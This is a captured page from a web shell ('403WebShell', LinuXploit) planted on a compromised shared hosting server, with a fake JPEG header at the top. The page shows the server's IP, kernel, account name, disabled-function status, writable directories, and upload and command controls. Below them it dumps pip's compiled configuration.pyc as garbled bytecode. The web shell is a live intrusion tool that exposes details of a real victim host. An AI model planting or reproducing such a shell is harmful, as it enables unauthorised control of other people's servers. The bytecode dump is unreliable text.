���� JFIF    fdasasfas213sdaf403WebShell
403Webshell
Server IP : 147.79.69.211  /  Your IP : 216.73.216.222
Web Server : LiteSpeed
System : Linux in-mum-web669.main-hosting.eu 5.14.0-503.23.2.el9_5.x86_64 #1 SMP PREEMPT_DYNAMIC Wed Feb 12 05:52:18 EST 2025 x86_64
User : u479334040 ( 479334040)
PHP Version : 8.2.27
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /proc/self/root/opt/alt/python27/lib/python2.7/site-packages/pip/_internal/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /proc/self/root/opt/alt/python27/lib/python2.7/site-packages/pip/_internal/configuration.pyc
�
u�fc@s�dZddlZddlZddlZddlZddlmZddlmZm	Z	ddl
mZddlm
Z
mZddlmZmZddlmZer�dd	lmZmZmZmZmZmZmZejZed
e�Zne
r	dndZdZ edddddddddd�Z!e!j"e!j#e!j$e!j%e!j&fZ'e!j#e!j"e!j$fZ(ej)e*�Z+d�Z,d�Z-d�Z.de/fd��YZ0dS(sConfiguration management setup

Some terminology:
- name
  As written in config files.
- value
  Value associated with a name
- key
  Name combined with it's section (section.name)
- variant
  A single word describing where the configuration key-value pair came from
i����N(tconfigparser(tConfigurationErrort!ConfigurationFileCouldNotBeLoaded(tappdirs(tWINDOWSt
expanduser(t
ensure_dirtenum(tMYPY_CHECK_RUNNING(tAnytDicttIterabletListtNewTypetOptionaltTupletKindspip.inispip.conftversionthelptUSERtusertGLOBALtglobaltSITEtsitetENVtenvtENV_VARsenv-varcCs8|j�jdd�}|jd�r4|d}n|S(sFMake a name consistent regardless of source (environment or file)
    t_t-s--i(tlowertreplacet
startswith(tname((sL/opt/alt/python27/lib/python2.7/site-packages/pip/_internal/configuration.pyt_normalize_name6s
cCs:d|kr*dj|�}t|��n|jdd�S(Nt.sbKey does not contain dot separated section and key. Perhaps you wanted to use 'global.{}' instead?i(tformatRtsplit(R!t
error_message((sL/opt/alt/python27/lib/python2.7/site-packages/pip/_internal/configuration.pyt_disassemble_key@s
	cCs�gtjd�D]}tjj|t�^q}tjjtjt�}tjjtd�t	rgdndt�}tjjtj
d�t�}i|tj6|gtj
6||gtj6S(Ntpipt~s.pip(Rtsite_config_dirstostpathtjointCONFIG_BASENAMEtsystprefixRRtuser_config_dirtkindsRRR(R,tglobal_config_filestsite_config_filetlegacy_config_filetnew_config_file((sL/opt/alt/python27/lib/python2.7/site-packages/pip/_internal/configuration.pytget_configuration_filesKs.				

t
ConfigurationcBs�eZdZdd�Zd�Zd�Zd�Zd�Zd�Z	d�Z
d�Zd	�Ze
d
��Zd�Zd�Zd
�Zd�Zd�Zd�Zd�Zd�Zd�Zd�Zd�ZRS(s�Handles management of configuration.

    Provides an interface to accessing and managing configuration files.

    This class converts provides an API that takes "section.key-name" style
    keys and stores the value associated with it as "key-name" under the
    section "section".

    This allows for a clean interface wherein the both the section and the
    key-name are preserved in an easy to manage form in the configuration files
    and the data stored is also nice.
    cCs�tt|�j�|dk	rU|tkrUtdjdjtt	t�����n||_
||_d�tD�|_
d�tD�|_g|_dS(Ns5Got invalid value for load_only - should be one of {}s, cSsi|]}g|�qS(((t.0tvariant((sL/opt/alt/python27/lib/python2.7/site-packages/pip/_internal/configuration.pys
<dictcomp>s	cSsi|]}i|�qS(((R9R:((sL/opt/alt/python27/lib/python2.7/site-packages/pip/_internal/configuration.pys
<dictcomp>�s	(tsuperR8t__init__tNonetVALID_LOAD_ONLYRR$R-tmaptreprtisolatedt	load_onlytOVERRIDE_ORDERt_parserst_configt_modified_parsers(tselfRARB((sL/opt/alt/python27/lib/python2.7/site-packages/pip/_internal/configuration.pyR<ps!		cCs$|j�|js |j�ndS(sELoads configuration from configuration files and environment
        N(t_load_config_filesRAt_load_environment_vars(RG((sL/opt/alt/python27/lib/python2.7/site-packages/pip/_internal/configuration.pytload�s
	cCsF|jdk	std��y|j�dSWntk
rAdSXdS(s@Returns the file with highest priority in configuration
        s)Need to be specified a file to be editingiN(RBR=tAssertionErrort_get_parser_to_modifyt
IndexError(RG((sL/opt/alt/python27/lib/python2.7/site-packages/pip/_internal/configuration.pytget_file_to_edit�s	
cCs
|jj�S(s`Returns key-value pairs like dict.items() representing the loaded
        configuration
        (t_dictionarytitems(RG((sL/opt/alt/python27/lib/python2.7/site-packages/pip/_internal/configuration.pyRP�scCs<y|j|SWn&tk
r7tdj|���nXdS(s,Get a value from the configuration.
        sNo such key - {}N(ROtKeyErrorRR$(RGtkey((sL/opt/alt/python27/lib/python2.7/site-packages/pip/_internal/configuration.pyt	get_value�s
cCs�|j�|jst�|j�\}}|dk	r~t|�\}}|j|�sh|j|�n|j|||�n||j	|j|<|j
||�dS(s-Modify a value in the configuration.
        N(t_ensure_have_load_onlyRBRKRLR=R'thas_sectiontadd_sectiontsetREt_mark_as_modified(RGRRtvaluetfnametparsertsectionR!((sL/opt/alt/python27/lib/python2.7/site-packages/pip/_internal/configuration.pyt	set_value�s
cCs�|j�|jst�||j|jkrGtdj|���n|j�\}}|dk	r�t|�\}}|j	|�o�|j
||�s�td��n|j|�s�|j|�n|j
||�n|j|j|=dS(s#Unset a value in the configuration.sNo such key - {}s4Fatal Internal error [id=1]. Please report as a bug.N(RTRBRKRERR$RLR=R'RUt
remove_optionRPtremove_sectionRX(RGRRRZR[R\R!((sL/opt/alt/python27/lib/python2.7/site-packages/pip/_internal/configuration.pytunset_value�s
cCss|j�xb|jD]W\}}tjd|�ttjj|��t|d��}|j	|�WdQXqWdS(s*Save the current in-memory state.
        s
Writing to %stwN(
RTRFtloggertinfoRR+R,tdirnametopentwrite(RGRZR[tf((sL/opt/alt/python27/lib/python2.7/site-packages/pip/_internal/configuration.pytsave�s
cCs5|jdkrtd��ntjd|j�dS(Ns'Needed a specific file to be modifying.s$Will be working with %s variant only(RBR=RRbtdebug(RG((sL/opt/alt/python27/lib/python2.7/site-packages/pip/_internal/configuration.pyRT�scCs/i}x"tD]}|j|j|�q
W|S(s<A dictionary representing the loaded configuration.
        (RCtupdateRE(RGtretvalR:((sL/opt/alt/python27/lib/python2.7/site-packages/pip/_internal/configuration.pyRO�s
cCs�t|j��}|tjdd!tjgkrCtjd�dSx�|j�D]�\}}xq|D]i}|j	dk	r�||j	kr�tjd||�qcn|j||�}|j|j
||f�qcWqPWdS(s5Loads configuration from configuration files
        iisZSkipping loading configuration files due to environment's PIP_CONFIG_FILE being os.devnullNs Skipping file '%s' (variant: %s)(tdicttiter_config_filesR2RR+tdevnullRbRiRPRBR=t
_load_fileRDtappend(RGtconfig_filesR:tfilesRZR[((sL/opt/alt/python27/lib/python2.7/site-packages/pip/_internal/configuration.pyRHs 

cCsltjd||�|j|�}xC|j�D]5}|j|�}|j|j|j||��q/W|S(Ns'For variant '%s', will try loading '%s'(RbRit_construct_parsertsectionsRPRERjt_normalized_keys(RGR:RZR[R\RP((sL/opt/alt/python27/lib/python2.7/site-packages/pip/_internal/configuration.pyRos$cCs�tj�}tjj|�r�y|j|�Wq�tk
ritddjt	j
t��d|��q�tjk
r�}td|��q�Xn|S(Ntreasonscontains invalid {} charactersRZterror(
RtRawConfigParserR+R,texiststreadtUnicodeDecodeErrorRR$tlocaletgetpreferredencodingtFalsetError(RGRZR[Rw((sL/opt/alt/python27/lib/python2.7/site-packages/pip/_internal/configuration.pyRs&s
cCs-|jtjj|jd|j���dS(s7Loads configuration from environment variables
        s:env:N(RER2RRjRutget_environ_vars(RG((sL/opt/alt/python27/lib/python2.7/site-packages/pip/_internal/configuration.pyRI=scCs?i}x2|D]*\}}|dt|�}|||<q
W|S(s�Normalizes items to construct a dictionary with normalized keys.

        This routine is where the names become keys and are made the same
        regardless of source - configuration files or environment.
        R#(R"(RGR\RPt
normalizedR!tvalRR((sL/opt/alt/python27/lib/python2.7/site-packages/pip/_internal/configuration.pyRuEs
ccs`xYtjj�D]H\}}|jd�r|dj�}|tkrX||fVqXqqWdS(s@Returns a generator with all environmental vars with prefix PIP_tPIP_iN(R+tenvironRPR RtENV_NAMES_IGNORED(RGRRR�R!((sL/opt/alt/python27/lib/python2.7/site-packages/pip/_internal/configuration.pyR�Rs
ccs�tjjdd�}|dk	r5tj|gfVntjgfVt�}tj|tjfV|jo�|o�tj	j
|�}|r�tj|tjfVntj|tjfVdS(sYields variant and configuration files associated with it.

        This should be treated like items of a dictionary.
        tPIP_CONFIG_FILEN(
R+R�tgetR=R2RR7RRAR,RyRR(RGtconfig_fileRqtshould_load_user_config((sL/opt/alt/python27/lib/python2.7/site-packages/pip/_internal/configuration.pyRm\s		
cCs|j|S(s#Get values present in a config file(RE(RGR:((sL/opt/alt/python27/lib/python2.7/site-packages/pip/_internal/configuration.pytget_values_in_config{scCs<|jst�|j|j}|s4td��n|dS(Ns4Fatal Internal error [id=2]. Please report as a bug.i����(RBRKRDR(RGtparsers((sL/opt/alt/python27/lib/python2.7/site-packages/pip/_internal/configuration.pyRL�scCs2||f}||jkr.|jj|�ndS(N(RFRp(RGRZR[tfile_parser_tuple((sL/opt/alt/python27/lib/python2.7/site-packages/pip/_internal/configuration.pyRX�scCsdj|jj|j�S(Ns{}({!r})(R$t	__class__t__name__RO(RG((sL/opt/alt/python27/lib/python2.7/site-packages/pip/_internal/configuration.pyt__repr__�sN(R�t
__module__t__doc__R=R<RJRNRPRSR]R`RhRTtpropertyRORHRoRsRIRuR�RmR�RLRXR�(((sL/opt/alt/python27/lib/python2.7/site-packages/pip/_internal/configuration.pyR8bs,														
	
				(RR(1R�R|tloggingR+R/tpip._vendor.six.movesRtpip._internal.exceptionsRRtpip._internal.utilsRtpip._internal.utils.compatRRtpip._internal.utils.miscRRtpip._internal.utils.typingRttypingR	R
RRR
RRRxtstrRR.R�R2RRRRRRCR>t	getLoggerR�RbR"R'R7tobjectR8(((sL/opt/alt/python27/lib/python2.7/site-packages/pip/_internal/configuration.pyt<module>s:4		$	
		

Youez - 2016 - github.com/yon3zu
LinuXploit